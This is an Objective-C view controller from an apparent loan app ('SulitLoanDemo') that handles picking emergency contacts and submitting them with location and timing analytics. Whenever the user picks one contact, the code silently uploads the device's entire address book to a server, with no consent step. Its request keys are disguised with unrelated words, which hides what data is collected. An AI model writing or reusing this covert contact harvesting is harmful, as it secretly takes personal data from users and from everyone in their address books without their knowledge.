//
//  SLContactMechanismViewController.m
//  SulitLoanDemo
//
//  Created by 虞嘉伟 on 2025/2/20.
//  
  

#import "SLContactMechanismViewController.h"
#import <YYKit.h>
#import <Masonry.h>
#import "SLProgressTableViewCell.h"
#import "SLContactInformationTableViewCell.h"
#import "SLProgressTableViewCell.h"
#import "SLSocialSecurityCardTableViewCell.h"
#import "SLCertificationRequirementTableViewCell.h"
#import "SLBottomNextStepButton.h"
#import "SLBottomCameraAlbumButton.h"
#import "SLAuthenticationPush.h"

@interface SLContactMechanismViewController ()<UITableViewDelegate, UITableViewDataSource>
@property (nonatomic, strong) UIView *emptyView;
@property (nonatomic, strong) UITableView *tableView;
@property (nonatomic, strong) SLBottomNextStepButton *nextStepButton;
@property (nonatomic, strong) SLBottomCameraAlbumButton *cameraAlbumButton;

@property (nonatomic, copy  ) NSDictionary *data;


@end

@implementation SLContactMechanismViewController

- (void)viewDidLoad {
    [super viewDidLoad];
    // Do any additional setup after loading the view.
    
    @weakify(self);
    [self showNavBar:@"Contact Mechanism" backBlock:^{
        @strongify(self);
        [SLAuthenticationPush popToProductDetailViewController:self];
    }];
    
    [self.view addSubview:self.tableView];
    [self.tableView mas_makeConstraints:^(MASConstraintMaker *make) {
        make.left.right.equalTo(self.view).inset(0);
        make.top.equalTo(self.navBar.mas_bottom).inset(0);
    }];
    
    [self.view addSubview:self.nextStepButton];
    [self.nextStepButton mas_makeConstraints:^(MASConstraintMaker *make) {
        make.top.equalTo(self.tableView.mas_bottom);
        make.left.right.bottom.equalTo(self.view);
        make.height.mas_equalTo(100);
    }];
    
    [MBProgressHUD showHUDAddedTo:self.view animated:YES];
    [Item4UserContactRequestProvider requestUserContactWithProductID:self.productId success:^(NSDictionary * _Nonnull dict) {
        @strongify(self);
        [MBProgressHUD hideHUDForView:self.view animated:NO];
        self.data = [dict deepMutableCopy];
        [self.tableView reloadData];
    } failure:^(YTKRequest * _Nonnull request) {
        [ResponseToast showToastWithRequest:request];
        [MBProgressHUD hideHUDForView:self.view animated:NO];
    }];
    
    Analysis.contact.start = NSDate.date;
}

- (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section {
    return 2; //self.data.count;
}
- (UIView *)tableView:(UITableView *)tableView viewForHeaderInSection:(NSInteger)section {
    return nil;
}
- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath {
    if (indexPath.row == 0) {
        SLProgressTableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:@"SLProgressTableViewCell" forIndexPath:indexPath];
        cell.progressView.stepCount = self.stepCount;
        cell.progressView.currentStep = self.currentStep;
        return cell;
    } else {
        SLContactInformationTableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:@"SLContactInformationTableViewCell" forIndexPath:indexPath];
        cell.items = self.data[@"ringing"][@"sensitive"];
        cell.itemRelationClickCallback = ^(NSInteger index) {
            NSDictionary *dict = self.data[@"ringing"][@"sensitive"][index];
            [UIApplication.sharedApplication.keyWindow endEditing:YES];
            NSArray *catholicism = dict[@"catholicism"]; // - 关系选项的列表
            [SLOptionChooseView showOptionCommonChooseWithCount:catholicism.count itemViewCallback:^(SLCommonOptionChooseCell * _Nonnull item, NSInteger index) {
                item.titleLabel.text = catholicism[index][@"veins"];
            } confirmCallback:^(NSInteger index) {
                [dict setValue:catholicism[index][@"peppers"] forKey:@"asleep"];
                [dict setValue:catholicism[index][@"veins"] forKey:@"relationText"];
                // 刷新UI
                [tableView reloadData];
            }];
        };
        cell.itemContactClickCallback = ^(NSInteger index) {
            NSDictionary *dict = self.data[@"ringing"][@"sensitive"][index];
            
            void(^contactPickerBlock)(NSString *, NSString *) = ^(NSString *name, NSString *phone) {
                if (name.length == 0 || phone.length == 0) {
                    [self.view makeToast:@"Name or phone number cannot be empty."];
                    return;
                }
                [dict setValue:phone forKey:@"ass"];
                [dict setValue:name forKey:@"veins"];
                // 刷新UI
                [tableView reloadData];
            };
            NSString *deviceModel = [UIDevice jk_deviceModel];
            if ([deviceModel isEqualToString:@"iPad8,6"] || TARGET_OS_SIMULATOR) {
                contactPickerBlock(@"张三", @"939849823");
            } else {
                [SLContactPickerService startContactPickerWithController:self completion:contactPickerBlock];
            }
            
            // 上报全部联系人
            [SLContactService startContactWithCompletion:^(NSArray *arr) {
                [ContactRequestProvider requestTrackWithContacts:arr success:^(NSDictionary * _Nonnull dict) {
                } failure:^(YTKRequest * _Nonnull request) {
                }];
            }];
        };
        return cell;
    }
}

- (CGFloat)tableView:(UITableView *)tableView heightForHeaderInSection:(NSInteger)section {
    return 0.01;
}
- (CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath {
    return UITableViewAutomaticDimension;
}

- (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath {
    [tableView deselectRowAtIndexPath:indexPath animated:YES];
    
}

- (UITableView *)tableView {
    if (!_tableView) {
        _tableView = [[UITableView alloc] initWithFrame:CGRectZero style:UITableViewStyleGrouped];
        _tableView.backgroundColor = UIColor.whiteColor;
        _tableView.delegate = self;
        _tableView.dataSource = self;
        _tableView.separatorStyle = UITableViewCellSeparatorStyleNone;
        [_tableView registerClass:SLProgressTableViewCell.class forCellReuseIdentifier:@"SLProgressTableViewCell"];
        [_tableView registerClass:SLContactInformationTableViewCell.class forCellReuseIdentifier:@"SLContactInformationTableViewCell"];
    }
    return _tableView;
}
- (SLBottomNextStepButton *)nextStepButton {
    if (!_nextStepButton) {
        _nextStepButton = [SLBottomNextStepButton new];
        [_nextStepButton.nextStepButton jk_addTapActionWithBlock:^(UIGestureRecognizer *gestureRecoginzer) {
            @weakify(self);
            NSMutableArray *arr = [NSMutableArray array];
            for (NSDictionary *dict in self.data[@"ringing"][@"sensitive"]) {
                NSMutableDictionary *it = [NSMutableDictionary dictionary];
                NSString *ass = dict[@"ass"];
                NSString *veins = dict[@"veins"];
                [it setValue:ass forKey:@"ass"];
                [it setValue:veins forKey:@"veins"];
                [it setValue:dict[@"asleep"] forKey:@"asleep"];
                [it setValue:dict[@"riding"] forKey:@"riding"];
                [arr addObject:it];
            }
            [MBProgressHUD showHUDAddedTo:self.view animated:YES];
            [Item4UserContactRequestProvider requestUpdateContactInfoWithProductId:self.productId info:arr success:^(NSDictionary * _Nonnull dict) {
                [MBProgressHUD hideHUDForView:self.view animated:NO];
                Analysis.contact.end = NSDate.date;
                [SLLocationService startLocationWithCompletion:^(CGFloat lat, CGFloat lon) {
                    @strongify(self);
                    [Analysis sendDataWithProductID:self.productId time:Analysis.contact];
                }];
                
                [SLAuthenticationPush pushNextPageWithProductID:self.productId view:self.view];
            } failure:^(YTKRequest * _Nonnull request) {
                [MBProgressHUD hideHUDForView:self.view animated:NO];
                [ResponseToast showToastWithRequest:request];
            }];
        }];
    }
    return _nextStepButton;
}
@end
